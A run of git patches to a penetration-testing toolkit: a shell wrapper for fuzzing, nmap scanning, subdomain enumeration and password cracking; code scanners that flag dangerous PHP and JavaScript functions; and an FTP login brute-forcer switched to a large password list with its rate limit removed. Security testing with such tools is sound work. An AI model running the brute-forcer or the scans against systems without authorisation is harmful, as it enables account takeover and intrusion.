-e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\trockyou_zip [ZIP file]\t\t\t\t -> crack ZIP password" - echo -e "\n::$BLUE STATIC CODE ANALYSIS ::$CLR" - echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" - echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor" + echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" + echo -e "\t$YELLOW(JavaScript)$CLR\tnpm_scan [MODULE_NAME]\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\t$YELLOW(JavaScript)$CLR\tjavascript_sca [FILE_NAME]\t -> static code analysis of single JavaScript file with nodestructor" + echo -e "\t$YELLOW(Java)$CLR\t\tdecompile_jar [.jar FILE]\t -> open FILE.jar file in JD-Gui" + echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" - echo -e "\tdecompile_jar [.jar FILE]\t\t\t -> open FILE.jar file in JD-Gui" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - echo -e "\n::$BLUE MISC ::$CLR" + echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" From de10926907900df1aa3b2e2979717408f4e537a7 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 27 Jan 2021 15:01:53 +0000 Subject: [PATCH 076/369] [s0mbra] ffuf option --- s0mbra.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 698d6c8..29b0156 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -360,6 +360,12 @@ abe() { fi } +fu() { + clear + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200 and 500...$CLR" + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,500 +} + generate_shells() { clear port=$2 @@ -485,6 +491,9 @@ case "$cmd" in s3) s3 "$2" ;; + fu) + fu "$2" "$3" + ;; s3go) s3go "$2" "$3" ;; @@ -530,6 +539,8 @@ case "$cmd" in echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "$BLUE:: WEB ::$CLR" + echo -e "\tfu [URL] [DICT]\t\t\t\t\t -> web application enumeration (dict: starter,lowercase,wordlist)" echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From 7286e163330d2f795e0715c3be8fd15b769a5817 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 27 Jan 2021 15:25:07 +0000 Subject: [PATCH 077/369] s0mbra, enumeratescope fixes/improvements --- enumeratescope.sh | 5 +++-- s0mbra.sh | 16 +++++++++++++++- 2 files changed, 18 insertions(+), 3 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index c3e52d4..af4550b 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -47,10 +47,11 @@ create_list_of_domains() { ## runs denumerator run_denumerator() { + echo $1 echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,403,500,301,302,304,404,206,405,411,415 -d $1 + denumerator -f domains/__domains.final -c 200,403,500,301,302,304,404,206,405,411,415 --dir $1 --output __$1.log echo -e "$(date) denumerator finished" >> subdomain_enum.log - echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log + echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log } diff --git a/s0mbra.sh b/s0mbra.sh index 29b0156..a1f7044 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -242,6 +242,16 @@ nfs_enum() { echo -e "\n[+] Done." } + +# if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available +# we can enumerate nfs shares available: +subdomenum() { + echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file..." + enumeratescope $1 $2 + echo -e "\n[+] Done." +} + + # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -434,6 +444,9 @@ case "$cmd" in set_ip) set_ip "$2" ;; + subdomenum) + subdomenum "$2" "$3" + ;; full_nmap_scan) full_nmap_scan "$2" ;; @@ -512,6 +525,7 @@ case "$cmd" in echo -e "\n$BLUE:: COMMANDS IN INTERACTIVE MODE ::$CLR" echo -e "\tset_ip [IP]\t\t\t\t\t -> sets IP in current Bash session to use by other s0mbra commands" echo -e "$BLUE:: RECON ::$CLR" + echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\tfull_nmap_scan [IP]\t\t\t\t -> nmap -p- to enumerate ports + -sV -sC -A on found open ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" @@ -545,6 +559,6 @@ case "$cmd" in echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" - echo -e "$GREEN\nHack The Planet!\n$CLR" + echo -e "$GREEN Hack The Planet!\n$CLR" ;; esac From 350931fc8b7320afc5eff6e9c2b2662e8fc566b2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Jan 2021 21:51:59 +0000 Subject: [PATCH 078/369] [s0mbra] add JADX and BytecodeViewer openers for .apk --- s0mbra.sh | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index a1f7044..a36b100 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -342,6 +342,18 @@ decompile_jar() { java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } +bcviewer() { + clear + echo -e "$BLUE[+] Opening $1 in BytecodeViewer...$CLR" + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/BytecodeViewer/Bytecode-Viewer-2.9.22.jar $1 +} + +jadx() { + clear + echo -e "$BLUE[+] Opening $1 in JADX...$CLR" + /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 +} + apk() { clear echo -e "$BLUE[+] OK, let's see this APK...$CLR" @@ -471,6 +483,12 @@ case "$cmd" in dex_to_jar) dex_to_jar "$2" ;; + bcviewer) + bcviewer "$2" + ;; + jadx) + jadx "$2" + ;; apk) apk "$2" ;; @@ -550,11 +568,13 @@ case "$cmd" in echo -e "\t$YELLOW(JavaScript)$CLR\tjavascript_sca [FILE_NAME]\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$YELLOW(Java)$CLR\t\tdecompile_jar [.jar FILE]\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" + echo -e "\t$YELLOW(Java)$CLR\t\tbcviewer [.apk FILE]\t\t -> open FILE.apk file in BytecodeViewer GUI" + echo -e "\t$YELLOW(Java)$CLR\t\tjadx [.apk FILE]\t\t -> open FILE.apk file in JADX GUI" echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT]\t\t\t\t\t -> web application enumeration (dict: starter,lowercase,wordlist)" + echo -e "\tfu [URL] [DICT]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From aff8d639806e273da0f9d0b9fe9e96c87841a839 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 2 Feb 2021 14:44:08 +0000 Subject: [PATCH 079/369] [s0mbra] remove BytecodeViewer option --- s0mbra.sh | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a36b100..42ef300 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -342,12 +342,6 @@ decompile_jar() { java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } -bcviewer() { - clear - echo -e "$BLUE[+] Opening $1 in BytecodeViewer...$CLR" - java -jar /Users/bl4de/hacking/tools/Java_Decompilers/BytecodeViewer/Bytecode-Viewer-2.9.22.jar $1 -} - jadx() { clear echo -e "$BLUE[+] Opening $1 in JADX...$CLR" @@ -483,9 +477,6 @@ case "$cmd" in dex_to_jar) dex_to_jar "$2" ;; - bcviewer) - bcviewer "$2" - ;; jadx) jadx "$2" ;; @@ -568,7 +559,6 @@ case "$cmd" in echo -e "\t$YELLOW(JavaScript)$CLR\tjavascript_sca [FILE_NAME]\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$YELLOW(Java)$CLR\t\tdecompile_jar [.jar FILE]\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" - echo -e "\t$YELLOW(Java)$CLR\t\tbcviewer [.apk FILE]\t\t -> open FILE.apk file in BytecodeViewer GUI" echo -e "\t$YELLOW(Java)$CLR\t\tjadx [.apk FILE]\t\t -> open FILE.apk file in JADX GUI" echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" From 2efba84f4ba71613aaa2b184f18358f347921eb9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 9 Mar 2021 13:29:21 +0000 Subject: [PATCH 080/369] some code updates --- hexview/hexview.py | 12 ++++++------ pef/test.php | 2 +- s0mbra.sh | 17 +++++------------ 3 files changed, 12 insertions(+), 19 deletions(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 1ab6fc6..2a0e7a8 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -266,8 +266,8 @@ def extract_shellcode(start, end, read_binary): else: shellcode = shellcode + "{}".format(COLORS['yellow']) + str( hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) - print "\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format(COLORS['cyan'], start, end, COLORS['white']) - print "\n{}\n".format(shellcode) + print("\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format(COLORS['cyan'], start, end, COLORS['white'])) + print("\n{}\n".format(shellcode)) if __name__ == "__main__": """ @@ -304,7 +304,7 @@ def extract_shellcode(start, end, read_binary): if args.file: # read first 8 bytes to recognize file type - print file_type(open(args.file, 'rb').read(8)) + print(file_type(open(args.file, 'rb').read(8))) with open(args.file, 'rb') as infile: if args.start > -1 and args.end and (int(args.start, 16) > -1 and int(args.end, 16) > int(args.start, 16)): @@ -323,7 +323,7 @@ def extract_shellcode(start, end, read_binary): offset = __FROM - print "{}[+] Hex dump: {}\n".format(COLORS['cyan'], COLORS['white']) + print("{}[+] Hex dump: {}\n".format(COLORS['cyan'], COLORS['white'])) while offset < __TO: chunk = infile.read(b) @@ -379,9 +379,9 @@ def extract_shellcode(start, end, read_binary): if args.diff: output += df_output - print output + print(output) offset += 16 print else: - print parser.usage + print(parser.usage) diff --git a/pef/test.php b/pef/test.php index 3b8043b..f513700 100644 --- a/pef/test.php +++ b/pef/test.php @@ -1,6 +1,6 @@ id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\trockyou_zip [ZIP file]\t\t\t\t -> crack ZIP password" echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" - echo -e "\t$YELLOW(JavaScript)$CLR\tnpm_scan [MODULE_NAME]\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" - echo -e "\t$YELLOW(JavaScript)$CLR\tjavascript_sca [FILE_NAME]\t -> static code analysis of single JavaScript file with nodestructor" - echo -e "\t$YELLOW(Java)$CLR\t\tdecompile_jar [.jar FILE]\t -> open FILE.jar file in JD-Gui" + echo -e "\tnpm_scan [MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\tjavascript_sca [FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" + echo -e "\tdecompile_jar [.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" - echo -e "\t$YELLOW(Java)$CLR\t\tjadx [.apk FILE]\t\t -> open FILE.apk file in JADX GUI" - echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar and open it in JD-Gui" + echo -e "\tjadx [.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" + echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar" echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" From 3cefab457208605bcc7d9909eafd0046709b07ae Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 30 Apr 2021 15:31:28 +0100 Subject: [PATCH 081/369] nodestructor reformat --- nodestructor/nodestructor.py | 56 ++++++++++++++++++------------------ 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index cc775df..16f0430 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -202,12 +202,12 @@ def process_files(subdirectory, sd_files, pattern="", verbose=False): if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and skip_node_modules is False): if (skip_test_files is False): perform_code_analysis(current_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 else: if __file not in TEST_FILES and "/test" not in current_filename and "/tests" not in current_filename: perform_code_analysis( current_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 def perform_code_analysis(src, pattern="", verbose=False): @@ -221,25 +221,25 @@ def perform_code_analysis(src, pattern="", verbose=False): # if -P / --pattern is defined, overwrite patterns with user defined # value(s) if pattern: - patterns=[".*" + pattern] + patterns = [".*" + pattern] - print_filename=True + print_filename = True - _file=open(src, "r") - _code=_file.readlines() - i=0 - patterns_found_in_file=0 + _file = open(src, "r") + _code = _file.readlines() + i = 0 + patterns_found_in_file = 0 for _line in _code: i += 1 - __line=_line.strip() + __line = _line.strip() for __pattern in patterns: - __rex=re.compile(__pattern) + __rex = re.compile(__pattern) if __rex.match(__line.replace(' ', '')): if print_filename: - files_with_identified_patterns=files_with_identified_patterns + 1 + files_with_identified_patterns = files_with_identified_patterns + 1 print("FILE: \33[33m{}\33[0m\n".format(src)) - print_filename=False + print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, ' code pattern identified: ', _code, verbose) @@ -247,7 +247,7 @@ def perform_code_analysis(src, pattern="", verbose=False): # URL searching if identify_urls == True: if url_regex.search(__line): - __url=url_regex.search(__line).group(0) + __url = url_regex.search(__line).group(0) # show each unique URL only once if __url not in urls: printcodeline(__url, i, __url, @@ -255,7 +255,7 @@ def perform_code_analysis(src, pattern="", verbose=False): urls.append(__url) if patterns_found_in_file > 0: - patterns_identified=patterns_identified + patterns_found_in_file + patterns_identified = patterns_identified + patterns_found_in_file print(beautyConsole.getColor("red") + "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + beautyConsole.getSpecialChar("endline")) @@ -266,7 +266,7 @@ def perform_code_analysis(src, pattern="", verbose=False): if __name__ == "__main__": show_banner() - parser=argparse.ArgumentParser() + parser = argparse.ArgumentParser() parser.add_argument("filename", help="Specify a file or directory to scan") parser.add_argument( "-r", "--recursive", help="check files recursively", action="store_true") @@ -287,26 +287,26 @@ def perform_code_analysis(src, pattern="", verbose=False): parser.add_argument( "-p", "--pattern", help="define your own pattern to look for. Pattern has to be a RegEx, like '.*fork\('. nodestructor removes whiitespaces, so if you want to look for 'new fn()', your pattern should look like this: '.*newfn\(\)' (all special characters for RegEx have to be escaped with \ )") - args=parser.parse_args() + args = parser.parse_args() try: - base_path=args.filename + base_path = args.filename if args.recursive: - FILE_LIST=os.listdir(args.filename) + FILE_LIST = os.listdir(args.filename) - pattern=args.pattern if args.pattern else "" + pattern = args.pattern if args.pattern else "" - exclude=[e for e in args.exclude.split( + exclude = [e for e in args.exclude.split( ',')] + exclude_always if args.exclude else exclude_always - include=[i for i in args.include.split(',')] if args.include else [] + include = [i for i in args.include.split(',')] if args.include else [] - skip_node_modules=args.skip_node_modules - skip_test_files=args.skip_test_files - identify_urls=args.include_urls - verbose=args.verbose + skip_node_modules = args.skip_node_modules + skip_test_files = args.skip_test_files + identify_urls = args.include_urls + verbose = args.verbose if args.include_browser_patterns: - patterns=patterns + browser_patterns + patterns = patterns + browser_patterns if args.recursive: for subdir, dirs, files in os.walk(base_path): @@ -318,10 +318,10 @@ def perform_code_analysis(src, pattern="", verbose=False): process_files(subdir, files, pattern, verbose) else: # process only single file - s_filename=args.filename + s_filename = args.filename if s_filename[-3:] == '.js': perform_code_analysis(s_filename, pattern, verbose) - total_files=total_files + 1 + total_files = total_files + 1 except Exception as ex: print("{}An exception occured: {}\n\n".format( From 434d210fc88026e037bc96e1121430b64f7fdc62 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 23 May 2021 22:29:46 +0100 Subject: [PATCH 082/369] [denumerator.py] removed unused timeout arg --- denumerator/denumerator.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 4d6116b..97fb00a 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -292,14 +292,12 @@ def main(): parser.add_argument( "-f", "--file", help="File with list of hostnames") - parser.add_argument( - "-t", "--timeout", help="Max. request timeout (default = 2)") parser.add_argument( "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( "-o", "--output", help="Path to output file") parser.add_argument( - "-d", "--dir", help="Output directory name (default: report/") + "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' ) @@ -311,8 +309,6 @@ def main(): ) args = parser.parse_args() - if args.timeout: - timeout = args.timeout if args.nmap: nmap = True From 66f0b68bbda27ba8d8a0a81d68d5a4a66e96ff17 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 6 Jun 2021 22:43:36 +0100 Subject: [PATCH 083/369] pefdocs cleanup; codestructor.py -> pef+nodestructor+improvements --- codestructor/codestructor.py | 13 +++++++++++ pef/imports/pefdocs.py | 42 ------------------------------------ pef/pef.py | 6 ++++-- pef/test.inc | 5 +++++ 4 files changed, 22 insertions(+), 44 deletions(-) create mode 100755 codestructor/codestructor.py create mode 100644 pef/test.inc diff --git a/codestructor/codestructor.py b/codestructor/codestructor.py new file mode 100755 index 0000000..3e5b1d6 --- /dev/null +++ b/codestructor/codestructor.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +''' + CODEStructor.py - Static Code Analysis grep-like tool on steroids :) + - grep-like search for dangerous code patterns, sources and sinks + - search for secrets, hardcoded credentials, interesting strings like hashes etc. + - detailed, colorful output with configurable verbosity level + - based on my previous tools: nodestructor and pef + + @author bl4de + @github https://github.com/bl4de/security-tools +''' +import argparse + diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 153fad3..856f40b 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -29,24 +29,6 @@ "Code Injection", "high" ], - "fopen()": [ - "Opens file or URL", - "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", - "Local File Include; Remote File Include", - "high" - ], - "popen()": [ - "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command", - "popen ( string $command , string $mode ) : resource", - "RCE", - "high" - ], - "pcntl_exec()": [ - "Executes specified program in current process space with the given arguments", - "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", - "RCE", - "high" - ], "eval()": [ "Evaluate a string as PHP code", "eval ( string $code ) : mixed", @@ -113,18 +95,6 @@ "Code Injection", "medium" ], - "parse_str()": [ - "Parses encoded_string as if it were the query string passed via a URL and sets variables in the current scope (or in the array if result is provided).", - "parse_str ( string $encoded_string [, array &$result ] ) : void", - "Code Injection", - "medium" - ], - "putenv()": [ - "Sets the value of an environment variable", - "putenv ( string $setting ) : bool", - "Code Injection", - "low" - ], "ini_set()": [ "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", "ini_set ( string $varname , string $newvalue ) : string", @@ -143,12 +113,6 @@ "XSS, HTML Injection, Content Injection etc.", "low" ], - "header()": [ - "header() is used to send a raw HTTP header.", - "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", - "Header Injection (?)", - "low" - ], "unserialize()": [ "unserialize() takes a single serialized variable and converts it back into a PHP value.", "unserialize ( string $str [, array $options ] ) : mixed", @@ -407,12 +371,6 @@ "Information Disclosure", "low" ], - "ini_set()": [ - "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", - "ini_set ( string $varname , string $newvalue ) : string", - "Configuration Arbitrary Change in runtime", - "low" - ], "php_uname()": [ "Returns information about the operating system PHP is running on", "php_uname ([ string $mode = \"a\" ] ) : string", diff --git a/pef/pef.py b/pef/pef.py index 2161b05..3873456 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -30,7 +30,8 @@ def banner(): Prints welcome banner with contact info """ print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", " " * 35, "-" * 16) + print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", + " " * 35, "-" * 16) print("-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", " " * 22, "-" * 16) print("-" * 100, "\33[0m\n") @@ -237,7 +238,8 @@ def run(self): if self.recursive: for root, subdirs, files in os.walk(self.filename): for f in files: - if f.find('php') > 0: + extension = f.split('.')[-1:][0] + if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 res = self.main(os.path.join(root, f)) self.found_entries = self.found_entries + res diff --git a/pef/test.inc b/pef/test.inc new file mode 100644 index 0000000..fe82216 --- /dev/null +++ b/pef/test.inc @@ -0,0 +1,5 @@ + Date: Wed, 23 Jun 2021 21:39:46 +0100 Subject: [PATCH 084/369] s0mbra: nmap scan for N-ports --- denumerator/denumerator.py | 40 ++++++++++++++++++++++++-------------- ftpLoginBruteforcer.py | 8 +++----- s0mbra.sh | 15 ++++++++++++++ 3 files changed, 43 insertions(+), 20 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 97fb00a..f32c086 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -43,6 +43,7 @@ "white": '\33[37m', 200: '\33[32m', 204: '\33[32m', + 206: '\33[32m', 301: '\33[33m', 302: '\33[33m', 304: '\33[33m', @@ -51,6 +52,8 @@ 403: '\33[94m', 404: '\33[94m', 405: '\33[94m', + 411: '\33[94m', + 412: '\33[94m', 415: '\33[94m', 422: '\33[94m', 500: '\33[31m', @@ -65,6 +68,7 @@ timeout = 2 nmap = False + def usage(): """ prints welcome message @@ -115,9 +119,9 @@ def create_output_header(html_output): def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' - screenshot_cmd = '/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --headless --user-agent="HackerOne" --dns-prefetch-disable --log-level=0 --timeout=30000 --screenshot={} '.format( + screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="HackerOne" --disable-gpu --dns-prefetch-disable --log-level=0 --timeout=30000 --virtual-time-budget=999999 --run-all-compositor-stages-before-draw --screenshot={} '.format( './reports/{}/'.format(output_directory) + screenshot_name) - + # os.system(screenshot_cmd + url) subprocess.run( screenshot_cmd + url, @@ -141,7 +145,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ ips = [ip for ip in ip_addresses.split(b"\n")] for ip in ips: if ip.find(b"address") > 0: - ip_html = ip_html + "

IP: {}

".format( ip.split(b"address")[1].decode("utf-8") ) + ip_html = ip_html + "

IP: {}

".format( + ip.split(b"address")[1].decode("utf-8")) ip_html = ip_html + "" nmap_html = "
" @@ -151,7 +156,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ b"\n") if port.find(b"open") > 0] for port in open_ports: nmap_html = nmap_html + \ - "

{}

".format(port.decode("utf-8")) + "

{}

".format( + port.decode("utf-8")) nmap_html = nmap_html + "
" # HTTP response headers @@ -241,26 +247,28 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, iterator = iterator + 1 try: d = d.strip('\n').strip('\r') - print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], iterator, number_of_domains, colors['white'])) + print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], + iterator, number_of_domains, colors['white'])) # IP address - ip = subprocess.run(["host", d], capture_output=True, timeout=15).stdout + ip = subprocess.run( + ["host", d], capture_output=True, timeout=15).stdout nmap_output = '' - + if nmap == True: # perform nmap scan nmap_output = subprocess.run( ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") - for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) + for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) send_request('http', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) time.sleep(1) - + send_request('https', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) time.sleep(1) - + except requests.exceptions.InvalidURL: if show is True: print('[-] {} is not a valid URL :/'.format(d)) @@ -295,7 +303,7 @@ def main(): parser.add_argument( "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( - "-o", "--output", help="Path to output file") + "-o", "--output", help="Path to text output file with all domains with identified web servers") parser.add_argument( "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( @@ -321,7 +329,7 @@ def main(): if args.code: allowed_http_responses = args.code.split(',') else: - allowed_http_responses = ['200','301','500'] + allowed_http_responses = ['200', '301', '500'] nmap_top_ports = args.ports @@ -340,15 +348,17 @@ def main(): os.mkdir('reports/{}'.format(output_directory)) # starts output HTML - html_output = open('reports/{}/__denumerator_report.html'.format(output_directory), 'w+') + html_output = open( + 'reports/{}/__denumerator_report.html'.format(output_directory), 'w+') create_output_header(html_output) # if output filename was specified, create it and use to write report result if args.output: - output_filename = os.path.join('reports', output_directory, args.output) + output_filename = os.path.join( + 'reports', output_directory, args.output) output_file = open(output_filename, 'w+') else: - output_file = '__enumerated_domains.txt' + output_file = open('__enumerated_domains.txt', 'w+') # main loop enumerate_domains(domains, output_file, html_output, diff --git a/ftpLoginBruteforcer.py b/ftpLoginBruteforcer.py index 93c80df..5f85dd6 100755 --- a/ftpLoginBruteforcer.py +++ b/ftpLoginBruteforcer.py @@ -20,15 +20,14 @@ print ftp.getwelcome() # pwds = ['root','123456','password'] tries = 0 -# for p in open('/Users/bl4de/hacking/dictionaries/passwords_5445.txt', 'r').readlines(): -for p in open('./passwords.txt', 'r').readlines(): -# for p in pwds: +for p in open('/Users/bl4de/hacking/dictionaries/100000_passwords.txt', 'r').readlines(): + # for p in pwds: try: tries = tries + 1 print "[+] try {}: trying {}:{}".format(tries, username, p.strip()) resp = ftp.sendcmd('USER {}'.format(username)) print resp - time.sleep(4) + # time.sleep(4) resp = ftp.sendcmd('PASS {}'.format(p.strip())) print resp print "[+] Logged in! -> {}".format(str(resp)) @@ -36,4 +35,3 @@ except Exception, e: print e pass - diff --git a/s0mbra.sh b/s0mbra.sh index 97f2f79..71be945 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -93,6 +93,17 @@ full_nmap_scan() { echo -e "[+] Done!" } + +# runs --top-ports 1000 against IP; then -sV -sC -A against every open port found +quick_nmap_scan() { + echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" + echo -e "\t\t -> search top $2 open ports..." + ports=$(nmap --top-ports $2 "$1" | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e 